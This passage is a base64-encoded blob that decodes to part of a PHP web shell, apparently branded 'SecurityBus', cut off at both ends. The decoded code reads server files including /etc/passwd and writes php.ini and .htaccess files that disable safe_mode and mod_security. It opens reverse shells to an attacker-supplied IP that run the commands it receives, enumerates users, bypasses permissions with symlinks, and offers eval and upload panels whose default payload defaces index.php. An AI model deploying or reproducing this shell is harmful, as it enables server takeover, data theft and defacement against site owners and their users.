bHNwZWNpYWxjaGFycyhmaWx0ZXIoZmlsZV9nZXRfY29udGVudHMoJHBhdGgpKSk7fQ0KCWVsc2UgaWYoJF9QT1NUWydSRUFEX1R5cGUnXSA9PSAidGVtcG5hbSIpe2VjaG8gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIoVGVtcG5hbWVGKCRwYXRoKSkpO30NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gImNvcHkiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKENvcHlGKCRwYXRoKSkpO30NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gIm1iX3NlbmRfbWFpbCIpe2VjaG8gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIobWJTZW5kRW1haWwoJHBhdGgpKSk7fQ0KCWVsc2UgaWYoJF9QT1NUWydSRUFEX1R5cGUnXSA9PSAiaGlnaGxpZ2h0X2ZpbGUiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKGhpZ2hsaWdodEZpbGUoJHBhdGgpKSk7fQ0KCWVsc2UgaWYoJF9QT1NUWydSRUFEX1R5cGUnXSA9PSAiY3VybCIpe2VjaG8gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIoQ3VybEZpbGVSZWFkKCRwYXRoKSkpO30NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gImltYXAiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKEltYXBGKCRwYXRoKSkpO30NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gImlkIil7ZWNobyBodG1sc3BlY2lhbGNoYXJzKGZpbHRlcihSZWFkSWQoJHBhdGgpKSk7fQ0KCWVsc2UgaWYoJF9QT1NUWydSRUFEX1R5cGUnXSA9PSAic2hvd19zb3VyY2UiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKHNob3dfc291cmNlKCRwYXRoKSkpO30NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gIm15c3FsIil7ZWNobyBodG1sc3BlY2lhbGNoYXJzKGZpbHRlcihNeVNRTFJlYWRlcigkcGF0aCkpKTt9DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJteXNxbGkiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKE15U1FMSVJlYWRlcigkcGF0aCkpKTt9DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJzeW1saW5rIil7ZWNobyBodG1sc3BlY2lhbGNoYXJzKGZpbHRlcihTeW1saW5rRigkcGF0aCkpKTt9DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJpb25jdWJlIil7ZWNobyBodG1sc3BlY2lhbGNoYXJzKGZpbHRlcihpb25jdWJlX3JlYWRfZmlsZSgkcGF0aCkpKTt9DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJlcnJvcl9sb2ciKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKEVycm9yTG9nKCRwYXRoKSkpO30NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gImluY2x1ZGUiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKEluY2x1ZGVSZWFkZXIoJHBhdGgpKSk7fQ0KfQ0KZWxzZSBpZigkX1BPU1RbJ1NUT1BfRXhlY3V0ZSddKSB7DQokZ2VuVHJ5ID0gR2VuZXJhdGVGaWxlKCJwaHAuaW5pIiwiDQpzYWZlX21vZGUgPSBPZmYNCmRpc2FibGVfZnVuY3Rpb25zID0gTk9ORQ0Kc2FmZV9tb2RlX2dpZCA9IE9GRg0Kb3Blbl9iYXNlZGlyID0gT0ZGIik7DQoJaWYoJGdlblRyeSl7ZWNobyAiWytdIHBocC5pbmkgSGFzIEJlZW4gR2VuZXJhdGVkIFN1Y2Nlc3NmdWxseSANCiI7fQ0KCWVsc2Uge2VjaG8gIlstXSBGYWlsZWQgdG8gZ2VuZXJhdGUgcGhwLmluaSBmaWxlICEhIA0KIjt9DQoJDQoJJGdlblRyeSA9IEdlbmVyYXRlRmlsZSgiLmh0YWNjZXNzIiwiDQo8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWNGaWx0ZXJFbmdpbmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNClNlY0ZpbHRlckNoZWNrVVJMRW5jb2RpbmcgT2ZmDQpTZWNGaWx0ZXJDaGVja0Nvb2tpZUZvcm1hdCBPZmYNClNlY0ZpbHRlckNoZWNrVW5pY29kZUVuY29kaW5nIE9mZg0KU2VjRmlsdGVyTm9ybWFsaXplQ29va2llcyBPZmYNCjwvSWZNb2R1bGU+DQo8TGltaXQgR0VUIFBPU1Q+DQpvcmRlciBkZW55LGFsbG93DQpkZW55IGZyb20gYWxsDQphbGxvdyBmcm9tIGFsbA0KPC9MaW1pdD4NCjxMaW1pdCBQVVQgREVMRVRFPg0Kb3JkZXIgZGVueSxhbGxvdw0KZGVueSBmcm9tIGFsbA0KPC9MaW1pdD4NClNldEVudiBQSFBSQyAiLmdldGN3ZCgpLiIvcGhwLmluaQ0KCSIpOw0KCWlmKCRnZW5Ucnkpe2VjaG8gIlsrXSAuaHRhY2Nlc3MgSGFzIEJlZW4gR2VuZXJhdGVkIFN1Y2Nlc3NmdWxseSANCiI7fQ0KCWVsc2Uge2VjaG8gIlstXSBGYWlsZWQgdG8gZ2VuZXJhdGUgLmh0YWNjZXNzIGZpbGUgISEgDQoiO30NCn0NCmVsc2UgaWYoJF9QT1NUWydDT05fVHlwZSddID09ICJzb2NrcyIpIHsNCgkkc29jayA9IHNvY2tldF9jcmVhdGUoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOw0KCWlmKCRzb2NrIDwgMCl7ZWNobyAiWy1dIGZhaWxlZCB0byBjcmVhdGUgc29ja2V0LiI7fQ0KCWVsc2Ugew0KCQkkcmVzdWx0ID0gc29ja2V0X2Nvbm5lY3QoJHNvY2ssIGZpbHRlcih0cmltKCRfUE9TVFsnaXAnXSkpLCBmaWx0ZXIodHJpbSgkX1BPU1RbJ3BvcnQnXSkpKTsNCgkJaWYoJHJlc3VsdCA8IDApe2VjaG8gIlstXSBmYWlsZWQgdG8gY29ubmVjdCBiYWNrIHRvIGhvc3Q6Ii4kX0dFVFsnaG9zdCddO30NCgkJZWxzZSB7DQoJCQkkc2VuZF92YXIgPSAiXG5cbiAtPT0gU2VjdXJpdHlCdXMgLCBCYWNrIENvbm5lY3Rpb24gPT0tXG4kIjsNCgkJCXNvY2tldF93cml0ZSgkc29jaywgJHNlbmRfdmFyLCBzdHJsZW4oJHNlbmRfdmFyKSk7DQoJCQl3aGlsZSgkaW5wdXQgPSBzb2NrZXRfcmVhZCgkc29jaywgMTAwMDApKSB7DQoJCQkJc29ja2V0X3dyaXRlKCRzb2NrLCBzaGVsbF9leGVjKCRpbnB1dCksIDEyMDAwKTsNCgkJCX0NCgkJfQ0KCX0NCn0gZWxzZSBpZigkX1BPU1RbJ0NPTl9UeXBlJ10gPT0gImZzb2Nrb3BlbiIpIHsNCgkkaXAgPSBmaWx0ZXIodHJpbSgkX1BPU1RbJ2lwJ10pKTsNCgkkcG9ydCA9IGZpbHRlcih0cmltKCRfUE9TVFsncG9ydCddKSk7DQoJaWYgKCFlbXB0eSgkaXApKSB7IA0KCQkkY29uX2Zzb2Nrb3BlbiA9IGZzb2Nrb3BlbigkaXAgLCAkcG9ydCAsICRlcnJubywgJGVycnN0ciApOyANCgkJaWYgKCEkY29uX2Zzb2Nrb3Blbil7IA0KCQkJJHJlc3VsdCA9ICJFcnJvcjogZGlkbnQgY29ubmVjdCAhISEiOyANCgkJfSBlbHNlIHsgDQoJCQkkbmV3TGluZT0iXG4iOyAgICAgICAgICAgDQoJCQlmcHV0cyAoJGNvbl9mc29ja29wZW4gLCJcblxuIC09PSBTZWN1cml0eUJ1cyAsIEJhY2sgQ29ubmVjdGlvbiA9PS1cbiQiKTsNCgkJCWZwdXRzKCRjb25fZnNvY2tvcGVuICwgc3lzdGVtKCJ1bmFtZSAtYSIpIC4kbmV3TGluZSApOw0KCQkJZnB1dHMoJGNvbl9mc29ja29wZW4gLCBzeXN0ZW0oInB3ZCIpIC4kbmV3TGluZSApOw0KCQkJZnB1dHMoJGNvbl9mc29ja29wZW4gLCBzeXN0ZW0oImlkIikgLiRuZXdMaW5lLiRuZXdMaW5lICk7DQoJCQl3aGlsZSghZmVvZigkY29uX2Zzb2Nrb3BlbikpeyAgDQoJCQkJZnB1dHMgKCRjb25fZnNvY2tvcGVuKTsgDQoJCQkJJG9uZT0iWyQiOw0KCQkJCSR0d289Il0iOw0KCQkJCSRyZXN1bHQ9IGZnZXRzICgkY29uX2Zzb2Nrb3BlbiwgODE5Mik7IA0KCQkJCSRtZXNzYWdlID0gJHJlc3VsdDsgDQoJCQkJZnB1dHMgKCRjb25fZnNvY2tvcGVuLCAkb25lLiBzeXN0ZW0oIndob2FtaSIpIC4kdHdvLiAiICIgLiRtZXNzYWdlLiJcbiIpOyANCgkJCX0gDQoJCQlmY2xvc2UgKCRjb25fZnNvY2tvcGVuKTsgDQoJCX0NCgl9DQp9DQplbHNlIGlmKCRfUE9TVFsnVVNFUlNfMSddKXtlY2hvIEdldFVzZXJzMSgpO30NCmVsc2UgaWYoJF9QT1NUWydVU0VSU18yJ10pIHsNCgkgJGFycmF5ID0gR2V0VXNlcnMyKCk7DQoJIGZvcmVhY2goJGFycmF5IGFzICRsaW5lKQ0KCSB7ZWNobyAkbGluZS4iDQoiO30JDQp9DQplbHNlIGlmKCRfUE9TVFsnVVNFUlNfMyddKSB7DQoJICRhcnJheSA9IEdldFVzZXJzMygpOw0KCSBmb3JlYWNoKCRhcnJheSBhcyAkbGluZSkNCgkge2VjaG8gJGxpbmUuIg0KIjt9CQ0KfQ0KZWxzZSBpZigkX1BPU1RbJ1VTRVJTXzQnXSkgew0KCSAkYXJyYXkgPSBHZXRVc2VyczQoKTsNCgkgZm9yZWFjaCgkYXJyYXkgYXMgJGxpbmUpDQoJIHtlY2hvICRsaW5lLiINCiI7fQkNCn0gZWxzZSBpZigkX1BPU1RbJ1VTRVJTXzUnXSl7ZWNobyBHZXRVc2VyczUoKTt9DQplbHNlIGlmKCRfUE9TVFsnZm9yYmlkZGVuX2J5cGFzcyddKSB7DQoJbWtkaXIoImZvcmJpZGRlbiIpOw0KCWNoZGlyKCJmb3JiaWRkZW4iKTsNCgkkZm9yYmlkZGVuX2h0YWNjZXNzID0gR2VuZXJhdGVGaWxlKCIuaHRhY2Nlc3MiLCAiDQpEaXJlY3RvcnlJbmRleCBzZWN1LnR4dA0KSGVhZGVyTmFtZSBzZWN1LnR4dA0KUmVhZG1lTmFtZSBzZWN1LnR4dA0KZm9vdGVyTmFtZSBzZWN1LnR4dA0KRXJyb3JEb2N1bWVudCA0MDQgLzQwNC5odG1sIA0KNDA0Lmh0bWwgPSBTeW1saW5rZWQgc2VhLnR4dA0KT3B0aW9ucyBhbGwNCkZvcmNlVHlwZSB0ZXh0L3BsYWluDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocCANCkFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbA0KQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHANCkFkZEhhbmRsZXIgdHh0IC5waHANCgkiKTsNCglpZigkZm9yYmlkZGVuX2h0YWNjZXNzKSB7DQoJCWVjaG8gIlsrXSBtYWtlIHlvdXIgc3ltbGluayBhcyBzZWN1LnR4dCBpbiAvZm9yYmlkZGVuLyBmb2xkZXIgYW5kIGZpbmQgdGhlIHVybCAvZm9yYmlkZGVuL3NlY3UudHh0IG9yIC9mb3JiaWRkZW4vIjsNCgl9IGVsc2Ugew0KCQllY2hvICJbLV0gZXJyb3Igd2l0aCBnZW5lcmF0aW5nIC5odGFjY2VzcyBmaWxlLiI7DQoJfQ0KfSBlbHNlIGlmKCRfUE9TVFsnZmluZF83NTUnXSkgew0KCUV4ZSgibHMgLWRsIC9ob21lLyovcHVibGljX2h0bWwvIHwgZ3JlcCBkcnd4ci14ci14Iik7DQp9DQo/PjwvdGV4dGFyZWE+DQo8P3BocA0KaWYoJF9QT1NUWydFRElUX0V4ZWN1dGUnXSl7ZWNobyAiPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1NhdmUnIG5hbWU9J1NBVkVfRXhlY3V0ZScgY2xhc3M9J1NhdmUnIC8+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdGSUxFX05BTUUnIHZhbHVlPSciLiRfUE9TVFsnRWRpdF9MaW5lJ10uIicgLz4NCiI7fQ0KPz4NCjwvY2VudGVyPjwvZm9ybT4NCjx0YWJsZSB3aWR0aD0nMTAwJSc+DQoJPHRyIHZhbGlnbj0idG9wIj4NCgkJPHRkIHdpZHRoPSczMCUnPg0KICAgICAgIDwhLS0gQ29tbWFuZCBMaW5lIC0tPg0KICAgICAgIDxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQoJICAgICAgICA8dGFibGUgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyBpZD0nQm94JyB3aWR0aD0iMTAwJSI+DQoJICAgICAgIAkgIDx0cj4NCgkgICAJCSAgPHRkIHdpZHRoPSI0JSIgaGVpZ2h0PSIyMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6PD9waHAgZWNobyAkc2gzbGxDb2xvcjsgPz4iPiZuYnNwOzwvdGQ+DQoJICAgICAgICAJCTx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4OyI+RWRpdCBGaWxlDQoJICAgICAgIAkJICAgIDxpbnB1dCBuYW1lPSJFRElUX0V4ZWN1dGUiIHR5cGU9InN1Ym1pdCIgaWQ9IkVESVRfRXhlY3V0ZSIgdmFsdWU9IkVkaXQiIC8+PC90ZD4NCgkgICAgICAgICAgPC90cj4NCgkgICAgICAgICAgICA8dHI+DQoJICAgICAgIAkJICA8dGQgaGVpZ2h0PSI0NSIgY29sc3Bhbj0iMiI+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J0VkaXRfTGluZScgaWQ9J0VkaXRfTGluZScgdmFsdWU9Jzw/cGhwIGlmKCRfUE9TVFsnRURJVF9FeGVjdXRlJ10pe2VjaG8gZmlsdGVyKCRfUE9TVFsnRWRpdF9MaW5lJ10pO31lbHNlIHtlY2hvICRkaXI7fSA/Picgc2l6ZT0iNzAiPjwvdGQ+DQoJICAgICAgICAgICAgPC90cj4NCgkgICAgICAgIDwvdGFibGU+DQogICAgICAgIDwvZm9ybT4NCiAgICAgICAgPCEtLSBFbmQgT2YgQ29tbWFuZCBMaW5lLS0+DQogICAgICAgIA0KCQk8L3RkPg0KICAgICAgICA8dGQgd2lkdGg9JzMwJScgaGVpZ2h0PSczMCc+DQogICAgICAgICA8IS0tIENvbW1hbmQgTGluZSAtLT4NCiAgICAgICAgIDxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQoJICAgICAgIAkgIDx0YWJsZSBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnIGlkPSdCb3gnPg0KCSAgICAgICAJICA8dHI+DQoJICAgCQkgIDx0ZCB3aWR0aD0iNCUiIGhlaWdodD0iMjEiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOjw/cGhwIGVjaG8gJHNoM2xsQ29sb3I7ID8+Ij4mbmJzcDs8L3RkPg0KICAgICAgICAJCTx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4OyI+Q29tbWFuZCBMaW5lDQogICAgICAgIAkJPD9waHAgZWNobyBwcmludF9leGVfbWV0aG9kKCk7ID8+IA0KICAgCQkgICAgCTxpbnB1dCBuYW1lPSJDTURfRXhlY3V0ZSIgdHlwZT0ic3VibWl0IiBpZD0iQ01EX0V4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiBvbkNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnQ01EX0xpbmUnKS52YWx1ZSA9IGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnQ01EX0xpbmUnKS52YWx1ZSk7Ij4NCgkgICAJCSAgICA8L3RkPg0KICAgICAgICAgIAk8L3RyPg0KCSAgICAgICAgICAgIDx0cj4NCgkgICAgICAgCQkgIDx0ZCBoZWlnaHQ9IjQ1IiBjb2xzcGFuPSIyIj4NCgkJCQkJPD9waHAgZWNobyBTZWxlY3RDb21tYW5kKCRvcyk7ID8+IA0KCSAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nQ01EX0xpbmUnIGlkPSdDTURfTGluZScgdmFsdWU9Jycgc2l6ZT0iNzAiPg0KCSAgICAgICAgICAgICAgPGlucHV0IG5hbWU9ImN1ckRpciIgdHlwZT0idGV4dCIgaWQ9ImN1ckRpciIgdmFsdWU9Ijw/cGhwIGlmKCRfUE9TVFsnRXhlY3V0ZSddKXtlY2hvICRfUE9TVFsnY3VyRGlyJ107fSBlbHNlIHtlY2hvIGdldGN3ZCgpO30gPz4iIHNpemU9IjcwIj48L3RkPg0KCSAgICAgICAgICAgIDwvdHI+DQoJICAgICAgICA8L3RhYmxlPg0KICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwhLS0gRW5kIE9mIENvbW1hbmQgTGluZS0tPg0KICAgICAgPC90ZD4NCiAgICAgICAgPHRkIHdpZHRoPSczMCUnIGhlaWdodD0nMzAnIHZhbGlnbj0idG9wIj4NCiAgICAgICAgPCEtLSBDb21tYW5kcyBBbGlhcy0tPg0KICAgICAgICA8Zm9ybSBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KCSAgICAgICAgPHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnIGlkPSdCb3gnPg0KCSAgICAgICAJICA8dHI+DQoJICAgCQkgIDx0ZCB3aWR0aD0iNCUiIGhlaWdodD0iMjEiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOjw/cGhwIGVjaG8gJHNoM2xsQ29sb3I7ID8+Ij4mbmJzcDs8L3RkPg0KCSAgICAgICAgCQk8dGQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsiPlVwbG9hZCBGaWxlcyAgICAgIAkJICA8c3BhbiBzdHlsZT0icGFkZGluZy1sZWZ0OjEwcHg7Ij4NCgkgICAgICAgIAkJICA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nKycgaWQ9J2FkZFVwbG9hZCcgc2l6ZT0nNScgb25jbGljaz0nYWRkVXBsb2FkSW5wdXQoKTsnPg0KCSAgICAgICAJCSAgICA8aW5wdXQgbmFtZT0nVVBMT0FEX0V4ZWN1dGUnIHR5cGU9J3N1Ym1pdCcgaWQ9IlVQTE9BRF9FeGVjdXRlIiB2YWx1ZT0nVXBsb2FkIEZpbGVzJz4NCgkgICAgICAgIAkJPC9zcGFuPjwvdGQ+DQoJICAgICAgICAgIDwvdHI+DQoJICAgICAgICAgICAgPHRyPg0KCSAgICAgICAJCSAgPHRkIGhlaWdodD0iNDUiIGNvbHNwYW49IjIiPg0KCSAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3VwbG9hZGZpbGVbXSc+DQoJICAgCQkgICAgICA8aW5wdXQgdHlwZT0nZmlsZScgbmFtZT0ndXBsb2FkZmlsZVtdJz48ZGl2IGlkPSd1cGxvYWRJbnB1dCc+PC9kaXY+PC90ZD4NCgkgICAgICAgICAgICA8L3RyPg0KCSAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC9mb3JtPg0KICAgICAgICA8IS0tIEVuZCBPZiBDb21tYW5kcyBBbGlhcy0tPg0KCQk8L3RkPg0KCTwvdHI+DQo8dHIgdmFsaWduPSJ0b3AiPg0KCQk8dGQgd2lkdGg9JzMwJSc+DQogICAgICAgPCEtLSBDb21tYW5kcyBBbGlhcy0tPg0KICAgICAgIDxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQoJICAgICAgICA8dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nNzInIGJvcmRlcj0nMCcgaWQ9J0JveCc+DQoJICAgICAgIAkgIDx0cj4NCgkgICAJCSAgPHRkIHdpZHRoPSI0JSIgaGVpZ2h0PSIyMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6PD9waHAgZWNobyAkc2gzbGxDb2xvcjsgPz4iPiZuYnNwOzwvdGQ+DQoJICAgICAgICAJCTx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4OyI+UEhQIEV2YWwgICAgICAgCQkgIA0KCSAgICAgICAJCSAgICA8aW5wdXQgbmFtZT0iUEhQX0V4ZWN1dGUiIHR5cGU9InN1Ym1pdCIgaWQ9IlBIUF9FeGVjdXRlIiBvbkNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUEhQX0xpbmUnKS52YWx1ZSA9IGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUEhQX0xpbmUnKS52YWx1ZSk7IiB2YWx1ZT0iRXZhbHVhdGUiPjwvdGQ+DQoJICAgICAgICAgIDwvdHI+DQoJICAgICAgICAgICAgPHRyPg0KCSAgICAgICAJCSAgPHRkIGhlaWdodD0iNDUiIGNvbHNwYW49IjIiPjxsYWJlbCBmb3I9IlBIUF9MaW5lIj48L2xhYmVsPg0KCSAgIAkJICAgICAgPHRleHRhcmVhIG5hbWU9IlBIUF9MaW5lIiBpZD0iUEhQX0xpbmUiIGNvbHM9IjUwIiByb3dzPSIyIj48P3BocCBpZigkX1BPU1RbJ1BIUF9FeGVjdXRlJ10pe2VjaG8gdXJsZGVjb2RlKGZpbHRlcigkX1BPU1RbJ1BIUF9MaW5lJ10pKTt9ZWxzZSB7ZWNobyAnJGZpbGUgPSBmb3BlbigiaW5kZXgucGhwIiwidysiKTsNCglmd3JpdGUoJGZpbGUsIkhhY2tlZCBCeSBTZWN1cml0eUJ1cyIpOw0KCWZjbG9zZSgkZmlsZSk7Jzt9DQoJCQkJPz4NCgkgICAgICAgICAgICAgIDwvdGV4dGFyZWE+DQoJICAgCQkgICAgICA8YnI+PC90ZD4NCgkgICAgICAgICAgPC90cj4NCgkgICAgICAgIDwvdGFibGU+DQogICAgICAgIDwvZm9ybT4NCiAgICAgICAgPCEtLSBFbmQgT2YgQ29tbWFuZHMgQWxpYXMtLT4NCgkJPC90ZD4NCiAgICAgICAgPHRkIHdpZHRoPSczMCUnIGhlaWdodD0nMzAnPg0KICAgICAgICA8IS0tIENvbW1hbmRzIEFsaWFzLS0+DQogICAgICAgIDxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQogICAgICAgIDx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyBpZD0nQm94Jz4NCiAgICAgICAJICA8dHI+DQogICAJCSAgPHRkIHdpZHRoPSI0JSIgaGVpZ2h0PSIyMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6PD9waHAgZWNobyAkc2gzbGxDb2xvcjsgPz4iPiZuYnNwOzwvdGQ+DQogICAgICAgIAkJPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM2NjY7cGFkZGluZy1sZWZ0OjEwcHg7Ij5SZWFkIEZpbGVzDQogICAgICAgCQkgICAgICANCiAgICAgICAJCSAgICAgIDxzZWxlY3QgbmFtZT0iUkVBRF9UeXBlIiA+DQogICAgICAgCQkgICAgICAgIDxvcHRpb24gdmFsdWU9ImZpbGUiID5maWxlPC9vcHRpb24+DQogICAgICAgCQkgICAgICAgIDxvcHRpb24gdmFsdWU9ImZnZXRzIiA+ZmdldHM8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZmdldHNzIiA+ZmdldHNzPC9vcHRpb24+DQogICAgICAgCQkgICAgICAgIDxvcHRpb24gdmFsdWU9InJlYWRmaWxlIiA+cmVhZGZpbGU8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZnJlYWQiID5mcmVhZDwvb3B0aW9uPg0KICAgICAgIAkJICAgICAgICA8b3B0aW9uIHZhbHVlPSJzaG93X3NvdXJjZSIgPnNob3dfc291cmNlPC9vcHRpb24+DQogICAgICAgCQkgICAgICAgIDxvcHRpb24gdmFsdWU9ImZpbGVfZ2V0X2NvbnRlbnRzIiA+ZmlsZV9nZXRfY29udGVudHM8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0idGVtcG5hbSIgPnRlbXBuYW08L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0iY29weSIgPmNvcHk8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ic3ltbGluayIgPlN5bWxpbms8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibWJfc2VuZF9tYWlsIiA+bWJfc2VuZF9tYWlsPC9vcHRpb24+DQogICAgICAgCQkgICAgICAgIDxvcHRpb24gdmFsdWU9ImhpZ2hsaWdodF9maWxlIiA+aGlnaGxpZ2h0X2ZpbGU8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0iY3VybCIgPkN1cmw8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0iaW1hcCIgPkltYXA8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibXlzcWwiID5NeVNRTDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJteXNxbGkiID5NeVNRTEk8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iaW9uY3ViZSI+SW9uIEN1YmU8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZXJyb3JfbG9nIj5FcnJvcl9Mb2c8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iaW5jbHVkZSI+SW5jbHVkZTwvb3B0aW9uPg0KICAgICAgIAkJICAgICAgICA8b3B0aW9uIHZhbHVlPSJpZCIgPklEIC9ldGMvcGFzc3dkPC9vcHRpb24+DQogICAJCSAgICAgICAgICA8L3NlbGVjdD4NCiAgICAgICAJCSAgICAgIDxpbnB1dCBuYW1lPSJSRUFEX0V4ZWN1dGUiIHR5cGU9InN1Ym1pdCIgaWQ9IlJFQURfRXhlY3V0ZSIgb25DbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1JFQURfTGluZScpLnZhbHVlID0gZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdSRUFEX0xpbmUnKS52YWx1ZSk7IiB2YWx1ZT0iUmVhZCI+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPHRyPg0KICAgICAgIAkJICA8dGQgaGVpZ2h0PSI0NSIgY29sc3Bhbj0iMiI+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J1JFQURfTGluZScgaWQ9J1JFQURfTGluZScgdmFsdWU9Jzw/cGhwIGlmKCRfUE9TVFsnUkVBRF9FeGVjdXRlJ10pe2VjaG8gdXJsZGVjb2RlKGZpbHRlcigkX1BPU1RbJ1JFQURfTGluZSddKSk7fWVsc2Uge2VjaG8gJGRpcjt9ID8+JyBzaXplPSI3MCI+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICA8L3RhYmxlPg0KICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwhLS0gRW5kIE9mIENvbW1hbmRzIEFsaWFzLS0+DQogIDwvdGQ+DQogICAgICAgIDx0ZCB3aWR0aD0nMzAlJyBoZWlnaHQ9JzMwJyB2YWxpZ249InRvcCI+DQogICAgICAgIDwhLS0gQ29tbWFuZHMgQWxpYXMtLT4NCiAgICAgICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgPHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnIGlkPSdCb3gnPg0KICAgICAgIAkgIDx0cj4NCiAgIAkJICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjIxIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjo8P3BocCBlY2hvICRzaDNsbENvbG9yOyA/PiI+Jm5ic3A7PC90ZD4NCiAgICAgICAgC